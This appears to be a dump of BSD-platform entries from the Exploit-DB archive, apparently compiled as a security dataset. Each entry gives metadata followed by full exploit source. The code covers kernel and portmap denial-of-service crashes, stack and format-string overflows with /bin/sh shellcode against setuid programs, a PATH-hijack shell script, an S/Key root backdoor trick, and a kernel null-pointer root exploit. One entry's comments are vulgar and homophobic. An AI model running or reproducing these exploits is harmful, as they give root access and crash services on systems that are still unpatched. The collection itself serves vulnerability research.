deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4935
Description: OpenBSD 4.2 - 'rtlabel_id2name()' Local Null Pointer Dereference Denial of Service
Type: dos
Platform: bsd
Date: 2008-01-18
Author: Hunger

Exploit:
/*
 * OpenBSD 4.2 rtlabel_id2name() [SIOCGIFRTLABEL ioctl]
 * Null Pointer Dereference local Denial of Service Exploit
 *
 * by Hunger <rtlabdos@hunger.hu>
 *
 * Advisory:
 * http://marc.info/?l=openbsd-security-announce&m=[PII_REDACTED]4064
 *
 * FOR TESTING PURPOSES ONLY!
 *
 * $ uname -mrsv
 * OpenBSD 4.2 GENERIC#375 i386
 * $ id
 * uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)
 * $ ftp -V http://hunger.hu/rtlabdos.c
 * 100% |******************************************|  1814        00:00
 * $ gcc rtlabdos.c -o rtlabdos
 * $ ./rtlabdos
 * uvm_fault(0xd617865e0, 0x0, 0, 1) -> e
 * kernel: page fault trap, code=0
 * Stopped at      strlcpy+0x1c:    movb     0(%edx),%al
 * ddb> trace
 * strlcpy(d826fd98,0,20,6,d61772a0) at strlcpy+0x1c
 * ifioctl(d6033280,c0206983,d826fe78,d616696c,d61772a0) at ifioctl+0xa0d
 * sys_ioctl(d616696c,d826ff68,d826ff58,1c000680,73) at sys_ioctl+0x125
 * syscall() at syscall+0x24a
 * --- syscall (number 54) ---
 * 0xf557d1:
 * ddb> show registers
 * ds                  0x10
 * es                  0x10
 * fs                  0x58
 * gs                  0x10
 * edi                    0
 * esi                 0x20
 * ebp           0xd826fd60        end+0x7a33a90
 * ebx           0xd826fd98        end+0x7a33ac8
 * edx                    0
 * ecx                 0x1f
 * eax                    0
 * eip           0xd064acb0        strlcpy+0x1c
 * cs                   0x8
 * eflags           0x10212
 * esp           0xd826fd54        end+0x7a33a84
 * ss            0xd8260010        end+0x7a23d40
 * strlcpy+0x1c:   movb    0(%edx),%al
 * 
 */

#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>

int
main(void)
{
struct ifreq ifr = { .ifr_name = "lo0" };

return ioctl(socket(AF_INET, SOCK_DGRAM, 0), SIOCGIFRTLABEL, &ifr);
}

// milw0rm.com [2008-01-18]
Exploit-DB #33318
Description: OpenBSD 4.6 / NetBSD 5.0.1 - 'printf(1)' Format String Parsing Denial of Service
Type: dos
Platform: bsd
Date: 2009-10-30
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/36884/info

OpenBSD and NetBSD are prone to a denial-of-service vulnerability because they fail to properly parse format strings to the 'printf(1)' function.

An attacker can exploit this issue to cause applications using the vulnerable call to crash with a segmentation fault, denying service to legitimate users.

The following are reported vulnerable:

OpenBSD 4.6
NetBSD 5.0.1

printf %*********s 666
Exploit-DB #38059
Description: OpenBSD 4.x - Portmap Remote Denial of Service
Type: dos
Platform: bsd
Date: 2012-11-22
Author: auto236751

Exploit:
// source: https://www.securityfocus.com/bid/56671/info

OpenBSD is prone to a remote denial-of-service vulnerability.

Successful exploits may allow the attacker to cause the application to crash, resulting in denial-of-service conditions.

OpenBSD versions prior to 5.2 are vulnerable. 

/*
 * authors: 22733db72ab3ed94b5f8a1ffcde850251fe6f466
 *          6e2d3d47576f746e9e65cb4d7f3aaa[PII_REDACTED]
 *          c8e74ebd8392fda4788179f9a02bb49337638e7b
 * 
 *  greetz: 43c86fd24bd63b100891ec4b861665e97230d6cf
 *          e4c0f3f28cf322779375b71f1c14d6f8308f789d
 *          691cb088c45ec9e31823ca7ab0da8b4cf8079baf
 *          b234a149e7ef00abc0f2ec7e6cf535ef4872eabc
 *
 *
 * -bash-4.2$ uname -a
 * OpenBSD obsd.my.domain 5.1 GENERIC#160 i386
 * -bash-4.2$ id
 * uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
 * -bash-4.2$ netstat -an -f inet | grep 111
 * tcp          0      0  127.0.0.1.111          *.*                    LISTEN
 * tcp          0      0  *.111                  *.*                    LISTEN
 * udp          0      0  127.0.0.1.111          *.*
 * udp          0      0  *.111                  *.*
 * -bash-4.2$ gcc openbsd_libc_portmap.c
 * -bash-4.2$ ./a.out
 * [+] This code doesn't deserve 1337 status output.
 * [+] Trying to crash portmap on 127.0.0.1:111
 * [+] 127.0.0.1:111 is now down.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define HOST "127.0.0.1"
#define PORT 111
#define LOOP 0x100


int main(void)
{
    int s, i;
    struct sockaddr_in saddr;

    printf("[+] This code doesn't deserve 1337 status output.\n");
    printf("[+] Trying to crash portmap on %s:%d\n", HOST, PORT);

    saddr.sin_family = AF_INET;
    saddr.sin_port = htons(PORT);
    saddr.sin_addr.s_addr = inet_addr(HOST);

    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in)) == -1) {
        printf("[-] %s:%d is already down.\n", HOST, PORT);
        return EXIT_FAILURE;
    }

    /* # of iteration needed varies but starts working for > 0x30  */
    for(i=0; i < LOOP; ++i) {
        s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in));
        send(s, "8========@", 10, 0);
    }

    if(connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in)) == -1)
        printf("[+] %s:%d is now down.\n", HOST, PORT);
    else
        printf("[-] %s:%d is still listening. Try to increase loop iterations...\n");

    return EXIT_SUCCESS;
}
Exploit-DB #22811
Description: Abuse-SDL 0.7 - Command Line Argument Buffer Overflow
Type: local
Platform: bsd
Date: 2003-06-19
Author: Matrix_DK

Exploit:
// source: https://www.securityfocus.com/bid/7982/info

A buffer overflow vulnerability has been reported for Abuse-SDL that may result in the execution of attacker-supplied code. The vulnerability exists due to insufficient bounds checking performed on certain command-line options. 

/*
	hey all.. this is a l33t 0x36 0day exploit by Matrix_DK :)
	This should give root, i give root to by the way, 
	on all BSD systems with abuse installed.
	-r-xr-xr-x	1	root	wheel	675344 Jun 18 13:37
	hi hi owned by root group wheel.. this is a hacker goodie

	I hoped abuse was my favorite game assabuse portet to unix..
	so i tried to load pics of my boyfriend johnlw ass into the game
	using -datadir... but the program died???

	could this be exploitet???
	
	i tried to exploit this myself, but i have no skillz. So i 
	asked the other gays from 0x36, but there did not know how
	to do this hardcore command line overflows.
	I asked inv, but he told me to go ass fuck casto... inv is l33t
	he knows many exploit tricks.. he is my hero..
	
	So i had to steal some code from 
	'smashing the stack for fun and profit' to get it to work...
	but now i have become a hacker i am going to send out many 
	advisories so other people know im a hacker.. and one day maybe if 
	i am lucky i can send out some exploits to.. but i have to get some
	unix, debug and code skillz first... 

	i have made the shellcode myself.. look how l33t it is, it prints 
	'what is the matrix ?' :).. that is cool.. us real hackers love the 
	matrix, we jerk off to trinity in slow motion, and use nicks from 
	the movie.
	
*/


#include <stdlib.h>

#define DEFAULT_BUFFER_SIZE            350
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] = "\x31\xc0\x50\x68\x69\x78\x20\x3f\x68\x6d"
		   "\x61\x74\x72\x68\x74\x68\x65\x20\x68\x20"
		   "\x69\x73\x20\x68\x77\x68\x61\x74\x89\xe3"
		   "\x6a\x14\x53\x50\x50\xb0\x04\xcd\x80\x31"
		   "\xc0\xb0\x01\xcd\x80";
    
unsigned long get_esp(void) {
    __asm__("movl %esp,%eax");
}

int main() {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;

addr = get_esp();

buff = malloc(bsize);
egg = malloc(eggsize);

ptr = buff;

addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
                                                             
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;
                                                                     
for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
                                                                           
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
                                                                               
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/usr/local/bin/abuse.sdl -datadir $RET");

}
Exploit-DB #21407
Description: Apple Mac OSX 10.x / FreeBSD 4.x / OpenBSD 2.x / Solaris 2.5/2.6/7.0/8 - 'exec C Library' Standard I/O File Descriptor Closure
Type: local
Platform: bsd
Date: 2002-04-23
Author: phased

Exploit:
/*
source: https://www.securityfocus.com/bid/4568/info

It has been reported that BSD-based kernels do not check to ensure that the C library standard I/O file descriptors 0-2 are valid open files before exec()ing setuid images. Consequently, I/O that are opened by a setuid process may be assigned file descriptors equivelent to those used by the C library as 'standard input','standard output', and 'standard error'. 

This may result in untrusted, attacker supplied data being written to sensitive I/O channels. Local root compromise has been confirmed as a possible consequence.
*/

/*
  phased/b10z
  phased@snosoft.com
  23/04/2002

  stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE 
  decided to make a trivial exploit to easily get root :)

  > id
  uid=1003(phased) gid=999(phased) groups=999(phased)
  > ./iosmash
  Adding phased:
  <--- HIT CTRL-C ---> 
  > su
  s/key 98 snosoft2
  Password:MASS OAT ROLL TOOL AGO CAM
  xes# 

  this program makes the following skeys valid

  95: CARE LIVE CARD LOFT CHIC HILL
  96: TESS OIL WELD DUD MUTE KIT
  97: DADE BED DRY JAW GRAB NOV
  98: MASS OAT ROLL TOOL AGO CAM
  99: DARK LEW JOLT JIVE MOS WHO

  http://www.snosoft.com
  cheers Joost Pol
*/

#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
        while(dup(1) != -1);
        close(2);
        execl("/usr/bin/keyinit",
        "\nroot 0099 snosoft2   6f648e8bd0e2988a     Apr 23,2666 01:02:03\n");
}
Exploit-DB #23655
Description: BSD - SHMAT System Call Privilege Escalation
Type: local
Platform: bsd
Date: 2004-02-05
Author: Joost Pol

Exploit:
source: https://www.securityfocus.com/bid/9586/info

A vulnerability has been reported to reside in the 'shmat()' system call used in the BSD kernel. Exploiting this issue may allow a local attacker to inject instructions into the memory of a privileged process.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23655.tar.gz
Exploit-DB #579
Description: BSD bmon 1.2.1_2 - Local acls Bypass
Type: local
Platform: bsd
Date: 2004-10-16
Author: Idan Nahoum

Exploit:
#!/usr/local/bin/bash

# Written by Idan Nahoum. idanna@bk.ru
# local exploit for FreeBSD/OpenBSD with bmon < 1.2.1_2 installed.
# when bmon is executed with the -n parameter it popen()s netcat
# but fail to provide an absoluth path.
# some bsds are configured with acls that doesnt allow setuid files to 
# run except those that are explicity allowed, so creating a file called 
# netcat that chmod's +s bash wouldnt work, bash needs to run directly by
# bmon which uses ncurses, so to get a useable shell we need to redirect
# stdout to stderr (stdout is closed), and restore the stty settings.
# http://www.vuxml.org/freebsd/938f357c-16dd-11d9-bc4a-000c41e2cdad.html

declare -r SPATH="${PATH}"
declare -r STTY_EXEC=$(which stty)
declare -r STTY_SETTINGS=$(${STTY_EXEC} -g) 
declare -r QSHELL="/usr/local/bin/bash"
declare BMON_EXEC="/usr/local/sbin/bmon"

echo "$0 <path to bmon> [default: ${BMON_EXEC}]"

[ "$#" -gt "0" ] && BMON_EXEC="${1}"

[ -x "${BMON_EXEC}" ] || 
{
echo "${BMON_EXEC} not found"
exit
}

cd /tmp

# apparently bmon closes stdout, so we run a shell with stdout redirected 
# to stderr.

cat > ./netstat <<EOF
${STTY_EXEC} ${STTY_SETTINGS}
PATH=${SPATH} /bin/sh 1>&2
EOF

/bin/chmod 755 ./netstat
echo "trying to exploit"
PATH=./ "${BMON_EXEC}" -n 

# milw0rm.com [2004-10-16]
Exploit-DB #19545
Description: BSD/OS 2.1 / FreeBSD 2.1.5 / NeXTstep 4.x / IRIX 6.4 / SunOS 4.1.3/4.1.4 - '/usr/bin/lpr' Buffer Overrun Privilege Escalation (2)
Type: local
Platform: bsd
Date: 1996-10-25
Author: Vadim Kolontsov

Exploit:
/*
source: https://www.securityfocus.com/bid/707/info
 
Due to insufficient bounds checking on arguments (in this case -C) which are supplied by users, it is possible to overwrite the internal stack space of the lpr program while it is executing. This can allow an intruder to cause lpr to execute arbitrary commands by supplying a carefully designed argument to lpr. These commands will be run with the privileges of the lpr program. When lpr is installed setuid or setgid, it may allow intruders to gain those privileges.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 1023

long get_esp(void)
{
    __asm__("movl %esp,%eax\n");
}

void main()
    {
    char *buff = NULL;
    unsigned long *addr_ptr = NULL;
    char *ptr = NULL;

    char execshell[] =
    "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
    "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
    "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
    "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

    int i;

    buff = malloc(4096);
    if(!buff)
    {
        printf("can't allocate memory\n");
        exit(0);
    }
    ptr = buff;
    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
    ptr += BUFFER_SIZE-strlen(execshell);
    for(i=0;i < strlen(execshell);i++)
    *(ptr++) = execshell[i];
    addr_ptr = (long *)ptr;
    for(i=0;i<2;i++)
    *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
    ptr = (char *)addr_ptr;
    *ptr = 0;
    execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
Exploit-DB #207
Description: BSDi 3.0 inc - Local Buffer Overflow / Local Privilege Escalation
Type: local
Platform: bsd
Date: 2000-11-30
Author: vade79

Exploit:
/*
   (BSDi)inc[mh] buffer overflow, by v9[v9@fakehalo.org].
   this is will give you euid=0(root) on BSDi/3.0 systems.
*/

#define PATH		"/usr/contrib/mh/bin/inc"  /* path to inc on BSDi/3.0 */
#define BUFFER		2048                       /* no need to change this. */
#define DEFAULT_OFFSET	-7000                      /* generalized offset.     */

static char exec[]=
 "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */
 "\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */
 "\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */
 "\x2f\x73\x68\x00";                    /* 4 characters; 46 characters total. */

long pointer(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
  char eip[BUFFER],buf[4096];
  int i,offset;
  long ret;
  printf("[ (BSDi)inc[mh]: buffer overflow, by: v9[v9@fakehalo.org]. ]\n");
  if(argc>1){offset=atoi(argv[1]);}
  else{offset=DEFAULT_OFFSET;}
  ret=(pointer()-offset);
  eip[0]=0x01;eip[1]=0x01;eip[2]=0x01;
  for(i=3;i<BUFFER;i+=4){*(long *)&eip[i]=ret;}
  eip[BUFFER]=0x0;
  for(i=0;i<(4096-strlen(exec)-strlen(eip));i++){*(buf+i)=0x90;}
  memcpy(buf+i,exec,strlen(exec));
  memcpy(buf,"EXEC=",5);putenv(buf);
  printf("*** [data]: return address: 0x%lx, offset: %d.\n",ret,offset);
  if(execlp(PATH,"inc","-file",eip,0)){
    printf("*** [error]: could not execute %s successfully.\n",PATH);
    exit(1);
  }
}


// milw0rm.com [2000-11-30]
Exploit-DB #19411
Description: BSDI BSD/OS 4.0 /FreeBSD 3.2 /NetBSD 1.4 x86 / OpenBSD 2.5 - UFS Secure Level 1
Type: local
Platform: bsd
Date: 1999-07-02
Author: Stealth

Exploit:
source: https://www.securityfocus.com/bid/510/info

In 4.4BSD derivatives there are four secure levels that provide for added filesystem security (among other things) over and above the regular unix permission systems. Part of the secure levels are the system of file flags which include immutable and append-only flags. In secure level 0, these flags are irrelevant. The vulnerability lies in the inherent flaw with security level 1. In security level 1, the file flags are acknowledged; files such as /usr/bin/login can be set immutable and so forth -- however, umounted partitions/devices can be freely written to and modified (by root, of course). Stealth <stealth@cyberspace.org> has written a tool which allows for an intruder who has gained root to bypass security level 1 through writing directly to the device and clearing the file flags. The tool also sets the CLEAN flag in the filesystem which fools the computer into thinking the modified device is clean avoiding detection at bootup. A hypothetical situation for exploit of this vulnerability is as follows,

Hacker compromises root on target host.
Hacker attempts backdoor insertion and realizes suid binaries are immutable.
Hacker verifies secure level is set to 1.
Hacker umounts /usr.
Hacker writes directly to device previously mounted as /usr, clearing file flags.
Hacker mounts modified device as /usr.
Hacker installs backdoored /usr/bin/login. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19411.tgz
Exploit-DB #200
Description: BSDi SUIDPerl - Local Stack Buffer Overflow
Type: local
Platform: bsd
Date: 2000-11-21
Author: vade79

Exploit:
/* (BSDi)suidperl[] buffer overflow, by v9[v9@fakehalo.org].  this is that old
   buffer overflow in suidperl, but i never saw any version of it for BSDi.
   so, here it is.  this gives euid=0. (BSDi/3.0)
*/
#define PATH "/usr/bin/suidperl"	/* path to suidperl on BSDi/3.0. */
#define DEFAULT_OFFSET -5000		/* general offset, a lot of room. */
static char exec[]=
 "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */
 "\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */
 "\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */
 "\x2f\x73\x68\x00"; /* 4 characters; 46 characters total. */
long pointer(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
 char eip[2048],buf[4096];
 int i,offset;
 long ret;
 printf("[ (BSDi)suidperl[]: buffer overflow, by: v9[v9@fakehalo.org]. ]\n");
 if(argc>1){offset=atoi(argv[1]);}
 else{offset=DEFAULT_OFFSET;}
 ret=(pointer()-offset);
 eip[0]=0x01;
 for(i=1;i<2048;i+=4){*(long *)&eip[i]=ret;}
 eip[1248]=0x0;
 for(i=0;i<(4096-strlen(exec)-strlen(eip));i++){*(buf+i)=0x90;}
 memcpy(buf+i,exec,strlen(exec));
 memcpy(buf,"EXEC=",5);putenv(buf);
 printf("*** [data]: return address: 0x%lx, offset: %d.\n",ret,offset);
 if(execlp(PATH,"suidperl",eip,0)){
  printf("*** [error]: could not execute %s successfully.\n",PATH);
  exit(1);
 }
}


// milw0rm.com [2000-11-21]
Exploit-DB #739
Description: FreeBSD - '/usr/bin/top' Format String
Type: local
Platform: bsd
Date: 2001-07-23
Author: truefinder

Exploit:
/*
 * freebsd x86 top exploit
 * affected under top-3.5beta9 ( including this version )
 *
 * 1. get the address of .dtors from /usr/bin/top using objdump ,
 *
 * 'objdump -s -j .dtors /usr/bin/top'
 *
 * 2. divide it into four parts, and set it up into an environment variable like "XSEO="
 *
 * 3. run top, then find "your parted addresses from "kill" or "renice" command like this
 *
 * 'k %200$p' or 'r 2000 %200$p'
 *
 * 4. do exploit !
 *
 * 'k %190u%230$hn' <== 0xbf (4)
 * 'k %190u%229$hn' <== 0xbf (3)
 * 'k %214u%228$hn' <== 0xd7 (2)
 * 'k %118u%227$hn' <== 0x77 (1)
 *
 * truefinder , seo@igrus.inha.ac.kr
 * thx mat, labman, zen-parse
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
#define NOP 0x90
#define BUFSIZE 2048
 
char fmt[]=
"XSEO="
/* you would meet above things from 'k %200$p', it's confirming strings*/
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
/* .dtors's address in BSD*/
"\x08\xff\x04\x08"
"\x09\xff\x04\x08"
"\x0a\xff\x04\x08"
"\x0b\xff\x04\x08"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
 
/* might shellcode be located 0xbfbfd6? ~ 0xbfbfde? */
 
char sc[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80"; /* bigwaks 23 bytes shellcode */
 
int
main(void)
{
        char scbuf[BUFSIZE];
        char *scp;
 
        scp = (char*)scbuf;
        memset( scbuf, NOP, BUFSIZE );
 
        scp += ( BUFSIZE - strlen(sc) - 1);
        memcpy( scp, sc ,strlen(sc));
 
        scbuf[ BUFSIZE - 1] = '\0';
 
        memcpy( scbuf, "EGG=", 4);
 
        putenv(fmt);
        putenv(scbuf);
 
        system("/bin/bash");
}

// milw0rm.com [2001-07-23]
Exploit-DB #15206
Description: FreeBSD - 'pseudofs' Null Pointer Dereference Privilege Escalation
Type: local
Platform: bsd
Date: 2010-10-04
Author: Babcia Padlina

Exploit:
/*
 * source: https://www.securityfocus.com/bid/43060/info
 * 18.08.2010, babcia padlina
 * FreeBSD 7.0 - 7.2 pseudofs null ptr dereference exploit
 *
 *
 * to obtain SYSENT8_SYCALL_ADDR, run:
 * $ kgdb /boot/kernel/kernel
 * (kgdb) print &sysent[8].sy_call
 */

#define SYSENT8_SYCALL_ADDR	0xc0c4afa4 	/* FreeBSD 7.2-RELEASE */

#define _KERNEL

#include <sys/param.h>
#include <sys/conf.h>
#include <sys/ucred.h>

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/proc.h>
#include <sys/types.h>
#include <sys/extattr.h>
#include <sys/uio.h>
#include <sys/turnstile.h>
#include <sys/queue.h>

struct turnstile {
	struct mtx ts_lock;
	struct threadqueue ts_blocked[2];
	struct threadqueue ts_pending;
	LIST_ENTRY(turnstile) ts_hash;
	LIST_ENTRY(turnstile) ts_link;
	LIST_HEAD(, turnstile) ts_free;
	struct lock_object *ts_lockobj;
	struct thread *ts_owner;
};

volatile int gotroot = 0;

static void kernel_code(void) {
	struct thread *thread;

	asm(
		"movl %%fs:0, %0"
		: "=r"(thread)
	);

	/*
	 * kernel_code() is called while thread is in critical section,
	 * so we need to unset td_critnest flag to prevent panic after
	 * nearest user mode page fault.
	 */
	thread->td_critnest = 0;
	thread->td_proc->p_ucred->cr_uid = 0;
	thread->td_proc->p_ucred->cr_prison = NULL;
	gotroot = 1;

	return;
}

int main(int argc, char **argv) {
	struct turnstile *ts = 0;

	if (access("/proc/curproc/cmdline", R_OK)) {
		printf("procfs not found.\n");
		return -1;
	}

	if (mmap(0, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) == MAP_FAILED) {
		printf("mmap 0x0 failed.\n");
		return -1;
	}

	memset(0, 0, PAGE_SIZE);

	/* 
	 * we need to call dummy extattr_get_link() here, to make
	 * libc memory pages accessible without user mode page fault. without
	 * it, panic will occur after next extattr_get_link().
	 */
	extattr_get_link("/dev/null", 0, 0, 0, 0);

	/* overwrite sysent[8].sy_call with 0x0 */
	ts->ts_blocked[0].tqh_first = (void *)(SYSENT8_SYCALL_ADDR - 0x1c);
	extattr_get_link("/proc/curproc/cmdline", 0, 0, 0, 0);

	*(char *)0x0 = 0x90;
	*(char *)0x1 = 0xe9;
	*(unsigned long *)0x2 = &kernel_code;

	asm(
		"movl $0x8, %eax;"
		"int $0x80;"
	);

	if (gotroot) {
		printf("oops, I did it again.\n");
		setuid(0);
		setgid(0);
		execl("/bin/sh", "sh", NULL);
	}

	printf("exploit failed.\n");

	return 0;
}